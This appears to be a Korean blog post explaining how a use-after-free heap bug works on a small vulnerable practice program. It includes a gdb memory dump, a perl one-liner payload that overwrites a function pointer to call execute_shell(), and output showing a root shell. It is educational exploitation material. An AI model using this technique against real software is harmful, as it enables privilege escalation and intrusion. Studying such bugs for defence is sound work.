The Heap : How do use-after-free exploits work?
힙에서 UAF는 어떻게 작동하느냐는 뜻이다.
일단 UAF(User After Free)는 다시 한 번 말하지만, 사용자가 Heap 영역을 잘못 다룰 때 발생하는 취약점으로,
즉 Heap 영역을 사용한 후 Free하고 재사용(reallocation)할 경우 일어나는 취약점.
Ex)
위에서 StudentNumber 가 9999 보다 크면 free(vuln) 코드를 실행한다. 이 때 프로그램이 종료되는게 아니라 다음 코드에서 똑같은 크기로 Heap 을 재사용하기 때문에 UAF 취약점이 발생한다.
Input Student Number : 11111
Breakpoint 1, 0x080485de in main ()
(gdb) x/40x 0x0804b008
0x804b008: 0x00002b67 0x08048571 0x00000000 0x00000000
일반적으로 StudentNumber 를 입력받아서 Heap 영역에 넣고, vuln->UseAfterFree = PRINT_ID 를 함으로써, StudentNumber 다음에는 PRINT_ID 의 포인터 주소가 들어가 있다. 하지만 UAF 취약점과 strcpy(vuln_test, argv[1]) 을 통해 우리는 해당 Heap 영역을 조작할 수 있다.
만약 PRINT_ID 가 있는 포인터 주소를 execute_shell() 함수가 있는 곳으로 조작한다면, 그 후 vuln->UseAfterFree(id); 이 부분에서 execute_shell() 함수가 실행될 것이다.
./vul `perl -e 'print "AAAA", "\x5d\x85\x04\x08"'`
Input Student Number : 111111
Your StudentNumber is too big
# id
uid=0(root) gid=0(root) groups=0(root)
'#Tip' 카테고리의 다른 글
Assembly Handle Foundation. (0) | 2018.04.08 |
---|---|
Installing pwntools. (0) | 2018.04.08 |
About IDA shortcut. (0) | 2018.04.07 |
Heap unlink. (0) | 2018.04.07 |
Bin. (0) | 2018.04.07 |